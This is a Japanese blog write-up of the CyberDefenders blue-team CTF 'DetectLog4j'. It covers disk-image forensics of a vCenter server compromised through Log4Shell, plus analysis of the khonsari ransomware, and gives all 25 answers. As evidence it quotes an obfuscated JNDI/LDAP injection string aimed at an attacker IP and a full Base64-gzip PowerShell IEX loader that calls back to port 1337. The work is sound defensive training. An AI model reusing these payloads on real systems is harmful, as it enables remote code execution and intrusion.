本稿では、CyberDefenders.orgに公開されているLog4shellの課題「DetectLog4j」を解いていきます。

CyberDefenders: BlueTeam CTF Challenges | DetectLog4j

目次

• CyberDefenders.orgとは
• Log4shellとは
• Write-up
• まとめ

CyberDefenders.orgとは

BlueTeamのトレーニングプラットフォームで、デジタルフォレンジック、侵入分析、セキュリティ運用、マルウェア分析、セキュリティエンジニアリング、敵対者シミュレーションなど様々な項目を課題形式で練習できます。

CyberDefenders: BlueTeam Training Platform

Log4shellとは

2021年12月に Log4j Java ロギング ライブラリの重大な脆弱性が公開され、Log4Shell という名称が付けられました。この脆弱性は CVE-2021-44228 として追跡され、攻撃者が影響を受けるシステムを完全に制御できるリモートでコードが実行される脆弱性です。

CVE-2021-44228に関する詳しい概要などは以下のサイトを参照してください。
JVNDB-2021-005429 - JVN iPedia - 脆弱性対策情報データベース

Write-up

※こちらの調査は全て仮想環境上で行っています。

Scenario

原文

For the last week, log4shell vulnerability has been gaining much attention not for its ability to execute arbitrary commands on the vulnerable system but for the wide range of products that depend on the log4j library. Many of them are not known till now. We created a challenge to test your ability to detect, analyze, mitigate and patch products vulnerable to log4shell.

日本語訳

先週、log4shell の脆弱性は、脆弱なシステム上で任意のコマンドを実行できるという理由ではなく、log4j ライブラリに依存する幅広い製品に対して多くの注目を集めています。 それらの多くは今まで知られていません。 log4shell に対して脆弱な製品を検出、分析、軽減、パッチする能力をテストする課題を作成しました。

課題ファイル

Download

※Size: 2.8GB
※ダウンロードにはCyberDefendersへログインが必要となります。

c67-Log4shell.zip
└ Log4shell
├ DetectLog4Shell.E01　　　※侵害された端末のディスクイメージ
├ DetectLog4Shell.E01.txt
└ wordlist.txt

今回のチャレンジで使用したツール

本稿では以下のツールを使用します。

1. Autopsy - Digital Forensics
2. Eric Zimmerman's tools: RegistryExplorer
3. CyberChef
4. VirusTotal - Search
5. Next Generation Dynamic Network Analysis Tool
6. .NET debugger and assembly editor

※本稿では各ツールの詳しい使い方などは割愛します。お手数ですが詳細等は公式リファレンスをご参照ください。

以降の内容は「DetectLog4Shell.E01」をAutopsyで読み込み、解析作業を行います。

Q1. What is the computer hostname?

Autopsyにイメージファイルをロードするとシステム情報などが解析され、以下のようにツリー状で表示されます。



「オペレーティングシステム情報」を参照することでホスト名が確認でき、解析対象のコンピュータのホスト名は「VCW65」であることが分かります。





コンピュータのホスト名は、Registry Explorerなどのツールを使用してSYSTEM Registry Hiveで次のキーを参照することでも確認できます。

ROOT\ControlSet001\Control\ComputerName\ComputerName

Q1.What is the computer hostname?
A: VCW65

Q2. What is the Timezone of the compromised machine?

タイムゾーン情報は「Windows\System32\config」ディレクトリ内のSYSTEM Registry Hive内に格納されています。

AutopsyでHiveを開き、以下のパスを確認します。

ROOT\ControlSet001\TimeZoneInformation



「TimeZoneKeyName」が「Pacific Standard Time（太平洋標準時）」であることが分かります。

「Microsoft Time Zone Index Values | Microsoft Docs」で「Pacific Standard Time」の時差を確認すると「UTC-8」であることが分かります。



Q2. What is the Timezone of the compromised machine?
A: UTC-8

Q3. What is the current build number on the system?

ビルド情報に関する情報は「Windows\System32\config」ディレクトリ内のSOFTWARE Registry Hive内に格納されています。

AutopsyでHiveを開き、以下のパスを確認します。

ROOT\Microsoft\Windows NT\CurrentVersion



「CurrentBuildNumber」が「14393」になっており、現在のシステムビルド版後は「14393」であることが分かりました。

Q3. What is the current build number on the system?
A: 14393

Q4.What is the computer IP?

IPアドレスの情報は「Windows\System32\config」ディレクトリ内のSYSTEM Registry Hive内に格納されています。

AutopsyでHiveを開き、以下のパスを確認します。

ROOT\ControlSet001\Services\Tcpip\Parameters\Interfaces



「Interfaces」配下に2つのInterfaceが登録されているのが分かります。
いずれも内容を確認してみましょう！



1つ目のKey内にはIP情報が含まれていませんでした。



2つ目のKey内の「DhcpIpAddress」に「192.168.112.139」が登録されていることが確認できました。

Q4. What is the computer IP?
A: 192.168.112.139

Q5. What is the domain computer was assigned to?

この問題に関してはQ1を調査している際にチラッとドメイン名が確認できました。

今回は別アプローチで確認してみたいと思います。

PCに割り当てられたドメイン情報は「Windows\System32\config」ディレクトリ内のSYSTEM Registry Hive内に格納されています。

AutopsyでHiveを開き、以下のパスを確認します。

ROOT\ControlSet001\Services\Tcpip\Parameters



「Domain」に「cyberdefenders.org 」が設定されていることが確認できます。
また、こちらのレジストリ情報でQ1のホスト名（vcw65）も確認できます。

Q5. What is the domain computer was assigned to?
A: cyberdefenders.org

Q6. When was myoussef user created?

Autopsyでイメージをロードすると、OSアカウント情報を自動で解析してくれます。この解析結果には様々なアカウントの作成時刻が格納されています。





OSアカウント情報を確認すると「myoussef」の作成時刻は「2021-12-28 15:57:23 JST」であることが分かります。

※Autopsyを日本語環境で利用するとJST表記になります。問題に回答する際はタイムスタンプをUTCに変換する必要があります。

Q6. When was myoussef user created?
A: 2021-12-28 06:57:23 UTC

Q7. What is the user mhasan password hint?

この質問への回答は、Q6で使用したのと同じOSアカウント情報から確認できます。



パスワードのヒントは「https://www.linkedin.com/in/0xmohamedhasan/」であることが確認できました。

Q7. What is the user mhasan password hint?
A: https://www.linkedin.com/in/0xmohamedhasan/

こちらの情報は「Windows\System32\config」ディレクトリ内のSAM Registry Hive内に格納されており、Autopsyが使えない場合はこちらをダンプして調査します。

ROOT\SAM\Domains\Account\Users

今回はSAMを調査するツールにRegistry Explorerを利用します。





Registry Explorerを利用すると上記のようにある程度見やすく出力してくれますが、実際のデータは以下のようにBinaryで保管されています。



Q8. What is the version of the VMware product installed on the machine?

この質問はAutopsyを利用すると簡単に回答できます。
Autopsyはイメージのロード時、インストール済みプログラムを解析し以下のようなリストを生成してくれます。



このリストから対象のVMware製品を見つけ、バージョン情報を確認します。



上の図に示すようにVMware製品のバージョンは「v.6.7.0.40322」であることが確認できました。

Q8. What is the version of the VMware product installed on the machine?
A: 6.7.0.40322

本件は「Windows\System32\config」ディレクトリ内のSOFTWARE Registry Hive内からも確認できます。

ROOT\Microsoft\Windows\CurrentVersion\Uninstall\VMware-VCS



レジストリの見方と対象製品が分かっていれば、こちらから確認した方が早いですね。

Q9. What is the version of the log4j library used by the installed VMware product?

VMwareは、vCenter Server Windows で CVE-2021-44228 および CVE-2021-45046 に対処するための回避策に関する記事を公開しています。

こちらの記事によると、脆弱性を含むライブラリは以下のように保存されていることが分かります。

Program Files\VMware\vCenter Server\common-jars\log4j-core-2.11.2.jar

実際に対象のライブラリが存在するか確認してみます。



上記に示すように対象のライブラリの存在を確認できました。

Q9. What is the version of the log4j library used by the installed VMware product?
A: 2.11.2

Q10. What is the log4j library log level specified in the configuration file?

Q9で脆弱性を含むライブラリが「log4j-core-2.11.2.jar」であることが分かりました。同名のファイルが以下のディレクトリに存在する場合、ロギングレベルを含む構成ファイル（log4j2.xml）が保管されています。

Program Files\VMware\vCenter Server\VMware Identity Services



「log4j2.xml」の内容を確認すると、ロギングレベルは「info」が設定することが確認できました。

Q10. What is the log4j library log level specified in the configuration file?
A: info

Q11. The attacker exploited log4shell through an HTTP login request. What is the HTTP header used to inject payload?

この質問に関しては提供されたイメージから挙動を追うことができませんでした。
そこでGoogle Dorksを利用し、VMware VCenterのPoCを調査します。

intext:"VMWare VCenter Vulnerable" "CVE-2021-44228"

CVE-2021-44228 (Log4Shell) | AttackerKBで良さげな記事が見つかりました。

こちらの記事によると「X-Forwarded-For」ヘッダを悪用することで、簡単にペイロードを注入できるようです。

Q11. The attacker exploited log4shell through an HTTP login request. What is the HTTP header used to inject payload?
A: X-Forwarded-For

Q12.The attacker used the log4shell.huntress.com payload to detect if vcenter instance is vulnerable. What is the first link of the log4huntress payload?

こちらに関しては、質問にある「log4shell.huntress.com 」を、Autopsyでキーワード検索をかけて調査します。



検索結果は5件ヒットしましたが、関連するファイルは「websso.log」と「audit_events.log」だと思われます。

log4jの脆弱性はSSOのログインページがあるため「websso.log」を調査します。



上記で示すように「websso.log」を確認したところ、このログには「log4shell.huntress.com 」の複数のエントリが含まれていました。
質問は「最初のリンクは何ですか？」のため「log4shell.huntress.com:1389/b1292f3c-a652-4240-8fb4-59c43141f55a」が回答になります。

Q12. The attacker used the log4shell.huntress.com payload to detect if vcenter instance is vulnerable. What is the first link of the log4huntress payload?
A: log4shell.huntress.com:1389/b1292f3c-a652-4240-8fb4-59c43141f55a

Q13. When was the first successful login to vsphere WebClient?

Single Sign-On Audit Events (vmware.com)の情報によると、SSO監査イベントログは以下のディレクトリに「audit_events.log」として格納されていることが分かりました。

OS	Location
vCenter Server Appliance	/var/log/sso-events/
vCenter Server Windows	C:\ProgramData\VMware\vCenterServer\runtime\VMwareSTSService\logs\

Autopsyで対象ディレクトリに移動し「audit_events.log」を確認してみます。



ログを確認すると、最初のログインは以下になることが確認できました。

2021-12-28T20:39:29.349Z {"user":"administrator@vsphere.local","client":"fe80::7c68:4669:c33c:90a3%5","timestamp":"12/28/2021 12:39:29 PST","description":"User administrator@vsphere.local@fe80::7c68:4669:c33c:90a3%5 logged in with response code 200","eventSeverity":"INFO","type":"com.vmware.sso.LoginSuccess"}

Cyberdefenders.orgの回答欄で、回答Formatが「Format: DD/MM/YYYY HH:MM:SS UTC」と指定されている為、以下のように修正する必要があります。

12/28/2021 12:39:29 PST
↓
28/12/2021 20:39:29 UTC

Q13. When was the first successful login to vsphere WebClient?
A: 28/12/2021 20:39:29 UTC

Q14.What is the attacker's IP address?

こちらの質問はQ13で確認したログファイルを元に調査することで簡単に見つかります。

以下のようにlog4shellでよく利用されるパラメータを正規表現で抽出します。

grep -E "\\$\{date:'[ldap]'\}" audit_events.log | head -n 1

※log4shellの正規表現は様々ですが、本稿では簡単なものを採用しています。

上記の条件でログをフィルタした結果以下が取得でき、攻撃者のIPアドレスは「192.168.112.128」であることが分かりました。

2021-12-29T01:55:46.632Z {"user":"n/a","client":"${${::-j}${::-n}${::-d}${::-i}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://192.168.112.128/o=tomcat}, 192.168.112.128","timestamp":"12/28/2021 17:55:46 PST","description":"User n/a@${${::-j}${::-n}${::-d}${::-i}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://192.168.112.128/o=tomcat}, 192.168.112.128 failed to log in: Forbidden","eventSeverity":"INFO","type":"com.vmware.sso.LoginFailure"}

Q14. What is the attacker's IP address?
A: 192.168.112.128

Q15. What is the port the attacker used to receive the cobalt strike reverse shell?

質問にあるCobaltStrikeはReverse Shellを実行する際、Powershellを利用します。
Powershell EventLogに痕跡が残っていると思われるので、以下のファイルをDumpして詳細を確認してみます。

Windows\System32\winevt\Logs\Microsft-Windows-PowerShell%4Operational.evtx

PowerShellのイベントログでスクリプト実行系を調査する際は、EventID:4104でフィルタをかけて行います。



EventID:4104のログで「Base64」でエンコードされた文字列が見つかりました。

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAANVWaW/iSBD9HH6FN0Ia0CQcCeQajTRtsMEeTDDGNgRFK2M3pqF9jN3mmNH89y0fYYdkd1ba1a60LaF2N1Wv3qu+SsPsUmMRsZkSOJi7NHAUk8DnrkqlMia2FXEfuXfvYNANJAbfn96VylYcY29BD+nwvHSWxMR3Oe0QM+x9OB3WxonPiIdrks9wFIQajrbExjGY+ZaH49CyMUf8NbYZ9610dhYmC0pszqYQglsmvp3Nns1FarnxM1f8jf3E4xClgW0x4Do5hJj7xnUCzyMpxca+2Wg0LrgxjiEczmauYIb7/mdYCvaC6DCKAgZEUvXfOGGP7YThMbYcMyIsR2n9BGMCMrkHLiE+SOEkf0n8FzexaIVzl1LJC4OIVc43OPIxvb6qOZSeV4+AMQNhgLuHpPmAxUYs4gwSscSime5KMUdD5DgRjuOLPLCz08hXXAyW9DRHx+lCaPXDP6HTibDF8GQFnfM7nXyMGOyoBaTvB17Msjc5uaMxzEXsKOA4PbIi2BsQ6+icxQIVWdp/sMyjSc7fVJKCmxZhYhBpsGcpflykO/FFzapv+Q4FwtnSOjuFUEpibAe+E2cRYTm/l84/weGwAy8kFKeHZYh3lzkOpxA7CuJgyWodbWVFYdF14KDBEmyJg6NSOUzVxqeOxeFJDbtB2ufox49jhuIX/9oYL3GEfRs7KD+dBMc1yO3Y8l1c+VQ5LzDTfFxw81Gch3quFeaH2qDYKtXqEbSHfRzBKkt+fkKAZXkSJbhUhiVLaHrYjtJfyL3giVHgaUES2bhSwF1wx5ujWirN+QPD8+fn8taKfrXTu+cjNz8K97c4Ys8PDykKb8X4ppVeUr5bOa8LpNsedYMDgiaIY9XgNd14khRHpprEtJlABvpqJZGm5ML4oAvuiDXCz5NJX9a6fRR196slkmJJ6PMHtckju09uDZnXdfAjnYG63kvI4T136s46O7lpBwkiWSwi7vpjX0N9VZeY1BO0gdrhZeR018ZmXT/ovcFQWoHv01CxqaTYnVi1+3JXF/jdZO06S1FBjd2mI+jtxnQ6MzP/sZzGUmexoqVjfp+OebLTpDSOaqx4U2w/mRtxphqUNzeke9vheX1bd01BhHkyEBI6qkObmgHSFu1ry2yHC89oQG5MbeZ7E8nfq4tQcQ6zfv3ekDJujgwc+ZQnrwuiqi6CG8P3/Pr9NLKboURskU+6GxGhwkYXx5Y7hL53Y7S85X5bN26adKFJPg851SDOLM2v7rkIeaCQynySMGOw3tabOpH3wHvX5L906L1ElqJEnFDe33VT2vXML7UnjV6vD/azKeq2TAepCGmj+qjb0pT0++Z+FLaRgNAjIanfoNEe2fod+vcbb9hXxmGgi/6T2W48En64uA7DRW+/GnxVE6WDgtnVPbN7YsMy5fhpErsTYyiPNdQarNGtJDqwHuOtc624E6q6Q621fzzwuu3RTYqXYXRjVzPb3qLJr5yemyhkM+y4/4G0/3FTF7c7Zslmvqe9G1gnOKO9VtpB31ZR1t+Yn8eT9rJuaPJwojeI3IbfHezJqw3YdlIbT34P+1oILbkF+1qTRoIkTZEzePLIzpGQ/Qjnfjo1xdVMQ3oWW1dGgV+/rte/Cm2FtPbDNazZRDgM1sLhseB3DndceZEsl9mrMM+LnFpa08C1dvKWQ6lyvARrA+y7bMW955oXJ07vT99ywHgpby4Xj9FfmOal0SvA10UP2L0ueqolsuQqcz4I6PMvhZgqVDels7JLg4VFH47vwPUHmI0wS+BdLX0vzX9e/9UUK4pXFs24hYfKUf8Fl2Yjj/Q2LdXSPH+bn7kyy97+t6k9qUsap3j5sHEqKweqppXmG1W3p6qKZ+/qbdQ/KiMK5FdpT4sJcHgpEKuld1BASCmfQtrDQwxlEneJv3B3GStJmHJZ+Q0MfgPEWlHOrwsAAA=="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

こちらをCyberChef を利用してデコードしていきます。
「FromBase64String」と「GzipStream」が利用されているので、デコードを行う際は「From Base64」と「Gunzip」を利用します。



正しくデコードできたものを「mal.ps1」として保存します。
fakenet.exe（ネットワークシミュレーションツール）を実行し、トラフィックを傍受しながら保存した「mal.ps1」を実行します。



PowerShellは「192.168.112.128:1337」にリクエストを投げていることが確認できました。

Q15. What is the port the attacker used to receive the cobalt strike reverse shell?
A: 1337

Q16. What is the script name published by VMware to mitigate log4shell vulnerability?

こちらの質問はGoogleを利用して、回避策を以下のようなパラメータで検索すると簡単に見つかります。

VMware CVE-2021-44228 mitigate

Workaround instructions to address CVE-2021-44228 and CVE-2021-45046 in vCenter Server and vCenter Cloud Gateway (87081) (vmware.com)

見つかった公式記事によると、実行するスクリプトは「vc_log4j_mitigator.py」であることが分かりました。

Q16. What is the script name published by VMware to mitigate log4shell vulnerability?
A: vc_log4j_mitigator.py

Q17. In some cases, you may not be able to update the products used in your network. What is the system property needed to set to 'true' to work around the log4shell vulnerability?

Googleを利用して調査した結果、以下のサイトに情報がありました。

1. Workaround instructions to address CVE-2021-44228 and CVE-2021-45046 in vCenter Server and vCenter Cloud Gateway (87081) (vmware.com)
2. Log4j – Apache Log4j Security Vulnerabilities
3. JVNDB-2021-005429 - JVN iPedia - 脆弱性対策情報データベース

記事によるとシステムプロパティ「log4j2.formatMsgNoLookups」に「true」を設定する必要があることが分かりました。

※この回避策は「CVE-2021-44228」のものであり、「CVE-2021-45046」対して有効でないことも報告されています。

Q17. In some cases, you may not be able to update the products used in your network. What is the system property needed to set to 'true' to work around the log4shell vulnerability?
A: log4j2.formatMsgNoLookups

Q18. What is the log4j version which contains a patch to CVE-2021-44228?

こちらの質問に関してはQ17で調査した以下のサイトに記載がありました。

開発者は当初、本脆弱性に対する修正版として 2.15.0 をリリースしていましたが、特定の構成において任意のコード実行が行われる可能性があることが判明し、Lookup 機能を削除した上で JNDI 機能そのものをデフォルトで無効化した 2.16.0 および 2.12.2 が改めてリリースされました。この問題に対しては CVE-2021-45046 が採番されています。

JVNDB-2021-005429 - JVN iPedia - 脆弱性対策情報データベース

内容を見る限り、最新の「2.16.0」および「2.12.2」が回答になると思われるが、質問は「CVE-2021-44228へのパッチ」と明記があるため、回答は「2.15.0」になります。

※本課題のリリースが2022年1月15日であり、その後に最新のパッチが出ているためこのような回答になっています。

Q18. What is the log4j version which contains a patch to CVE-2021-44228?
A: 2.15.0

Q19. Removing JNDIlookup.class may help in mitigating log4shell. What is the sha256 hash of the JNDILookup.class?

「JNDILookup.class」は以前調査した「log4j-core-2.11.2.jar」に含まれています。対象ファイルを以下からDumpして調査します。

Program Files\VMware\vCenter Server\VMware Identity Services\log4j-core-2.11.2.jar



Dumpしたファイルを解凍し、対象ファイルのSHA256ハッシュ値を取得します。
（対象ファイルは解凍したファイルの以下のディレクトリに存在しています。）

log4j-core-2.11.2\org\apache\logging\log4j\core\lookup



「JndiLookup.class」のSHA256ハッシュ値は「0f038a1e0aa0aff76d66d1440c88a2b35a3d023ad8b2e3bac8e25a3208499f7e」であることが分かりました。

Q19. Removing JNDIlookup.class may help in mitigating log4shell. What is the sha256 hash of the JNDILookup.class?
A: 0f038a1e0aa0aff76d66d1440c88a2b35a3d023ad8b2e3bac8e25a3208499f7e

Q20. Analyze JNDILookup.class. What is the value stored in the CONTAINER_JNDI_RESOURCE_PATH_PREFIX variable?

Autopsyを利用して以下の対象ファイルを開くことで「CONTAINER_JNDI_RESOURCE_PATH_PREFIX」に格納された値を確認できます。

Program Files\VMware\vCenter Server\VMware Identity Services\log4j-core-2.11.2.jar



「CONTAINER_JNDI_RESOURCE_PATH_PREFIX」に格納された値は「java:comp/env/」であることが確認できました。

Q20. Analyze JNDILookup.class. What is the value stored in the CONTAINER_JNDI_RESOURCE_PATH_PREFIX variable?
A: java:comp/env/

Q21. What is the executable used by the attacker to gain persistence?

永続性の調査を行う際、最初に考えられるものでレジストリのRun Keyがあります。
この情報は各ユーザの「NTUSER.DAT」ファイルに保存され、対象になるキーは以下のいずれかになります。

ROOT\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ROOT\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce



各ユーザの「NTUSER.DAT」ファイルを調査した結果、「Administrator.WIN-B633EO9K91M」ユーザの対象キーに不審なファイルを発見しました。



不審ファイルが対象ディレクトリに存在するか確認します。

C:\Users\Adiminstrator\Desktop\baaaackdooor.exe



残念ならが対象ファイルは既に削除され、確認できませんでした。

Q21. What is the executable used by the attacker to gain persistence?
A: baaaackdooor.exe

Q22. When was the first submission of ransomware to virustotal?

この質問に関しては、今までRansomwareに関する問いが無かったのでなんのこっちゃと思いましたが、色々と調査した結果、「DetectLog4Shell.E01」をマウントした際にMicrosoft Defenderにより検知されたファイルが対象のRunsomware（D:\khonsari.exe）だと分かりました。



Runsomwareのパスが分かったので、早速Hash値をチェックします。



「khonsari.exe」のHash値が「f2e3f685256e5f31b05fc9f9ca470f527d7fdae28fa3190c8eba179473e20789」だと分かったので、VirusTotal でチェックします。



真っ赤ですね～

質問の「最初に投稿されたのはいつですか？」を確認していきます。



どうやら最初に投稿されたのは「2021-12-11 22:57:01 UTC」のようです。

Q22. When was the first submission of ransomware to virustotal?
A: 2021-12-11 22:57:01

Q23. The ransomware downloads a text file from an external server. What is the key used to decrypt the URL?

Q22の調査で「khonsari.exe」は「.NET 」で実行ファイルが書かれてるっぽいことが判明しました。



dnSpyを利用して実行可能ファイルを逆コンパイルしてみると、main関数内にそれらしき内容が確認できました。



「khonsari.exe」は、以下のように「edhcLlqR」変数と「vnNtUrJn」を「oymxyeRJ.CajLqoCk」に渡し、「GoaahQrC」を元にURLを復号していることが確認できます。



Q23. The ransomware downloads a text file from an external server. What is the key used to decrypt the URL?
A: GoaahQrC

Q24. What is the ISP that owns that IP that serves the text file?

この質問に関してはQ22で対象ファイルをチェックした際の「RELATIONS」項目から「Contacted Domains」で確認できます。



Domainが「ec2-3-145-115-94.us-east-2.compute.amazonaws.com 」になっていることから、質問のISPは「Amazon」となります。

Q24. What is the ISP that owns that IP that serves the text file?
A: Amazon

Q25. The ransomware check for extensions to exclude them from the encryption process. What is the second extension the ransomware checks for?

こちらに関して、それっぽいチェック処理をしている箇所を見つけました。



各ifが何を返してるのか、簡単なプログラムを作成してチェックしてみます。





２つ目の拡張子チェックで利用されるものは「.ini」であることが確認できました。

Q25. The ransomware check for extensions to exclude them from the encryption process. What is the second extension the ransomware checks for?
A: ini

以上で、「DetectLog4j」の課題25問全て回答できました。

お疲れ様でした_(:3」∠)_

まとめ

今回行った内容をざっくりと纏めると、以下となります。

1. log4shellの影響を受けたイメージの調査
   ・端末、IP、Domain、アカウント情報など
2. log4shellに対して脆弱な製品の洗い出し
   ・影響を受けるライブラリの調査
   ・log4shellを悪用したPoCの調査
   ・vSphere ログ解析
   ・緩和策の調査
3. ランサムウェアの調査
   ・VirusTotalを利用した調査
   ・dnSpyを利用した静的解析

Forensics、OSINT、マルウェア解析など「DetectLog4j」の課題を進めるだけで色々学べましたね！

最後まで読んでいただきありがとうございました。
今後もまた気になる課題にチャレンジしていきたいと思います！